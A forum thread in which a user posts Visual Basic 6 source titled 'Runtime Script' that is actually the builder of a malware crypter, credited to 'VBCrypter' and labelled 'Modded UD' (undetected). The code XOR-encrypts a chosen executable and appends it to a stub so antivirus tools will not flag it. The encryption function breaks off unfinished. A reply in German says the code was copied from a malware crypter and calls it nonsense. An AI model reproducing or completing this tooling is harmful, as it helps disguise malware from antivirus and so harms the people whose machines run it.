[VB6] Runtime Script

[technofreax]

Option Explicit

Private Declare Sub InitCommonControls Lib "comctl32" ()

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private Sub Form_Initialize()
If App.PrevInstance Then End
Call InitCommonControls
End Sub

Private Sub cmdBrowse_Click()
Dim i As Integer
Dim iFileNum As Integer
Dim Buffer() As Byte
dlgMain.Filter = "Executable Files (*.exe)|*.exe"
dlgMain.ShowOpen
If dlgMain.FileName <> vbNullString Then
iFileNum = FreeFile
Open dlgMain.FileName For Binary As #iFileNum
ReDim Buffer(LOF(iFileNum) - 1)
Get #iFileNum, , Buffer
Close #iFileNum
Call CopyMemory(IDH, Buffer(0), Len(IDH))
If IDH.e_magic <> IMAGE_DOS_SIGNATURE Then
MsgBox "MZ signature not found!", vbCritical
Exit Sub
End If
Call CopyMemory(INH, Buffer(IDH.e_lfanew), Len(INH))
If INH.Signature <> IMAGE_NT_SIGNATURE Then
MsgBox "PE signature not found!", vbCritical
Exit Sub
End If
txtFile.Text = dlgMain.FileName
cmdBuild.Enabled = True
End If
dlgMain.FileName = vbNullString
End Sub

Private Sub cmdBuild_Click()
Dim iFileNum As Integer
Dim Buffer() As Byte
Dim sBuffer As String
Dim sKey As String
If Dir(txtFile.Text) = vbNullString Then Exit Sub
dlgMain.Filter = "Executable Files (*.exe)|*.exe"
dlgMain.ShowSave
If dlgMain.FileName <> vbNullString Then
iFileNum = FreeFile
Open txtFile.Text For Binary As #iFileNum
sBuffer = Space(LOF(iFileNum))
Get #iFileNum, , sBuffer
Close #iFileNum
If Dir(dlgMain.FileName) <> vbNullString Then
Kill dlgMain.FileName
End If
iFileNum = FreeFile
Open dlgMain.FileName For Binary As #iFileNum
Buffer = LoadResData(101, "CUSTOM")
Put #iFileNum, , Buffer
Seek #iFileNum, LOF(iFileNum) + 1
Randomize
Do While Len(sKey) <> 10
sKey = sKey & Chr(Int(Rnd * 9) + 1)
Loop
Put #iFileNum, , "/#/+\#\" & XOREncryption(sBuffer, sKey) & "/#/+\#\" & sKey & "/#/+\#\"
Close #iFileNum
End If
End Sub

Private Sub cmdAbout_Click()
MsgBox "VBCrypter v1.4 Build Date: July 25, 2007. All rights reserved." & vbCrLf & vbCrLf & " Modded UD by steve10120 For Dark Devolopments"

End Sub

Private Sub cmdExit_Click()
End
End Sub

Private Function XOREncryption(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
For i = 1 To Len(sStr)
XOREncryption = XOREncryption & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey), Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
Next i

[nemo]

Aus nem Builder eines Malware Crypters kopiert und völliger Schwachsinn.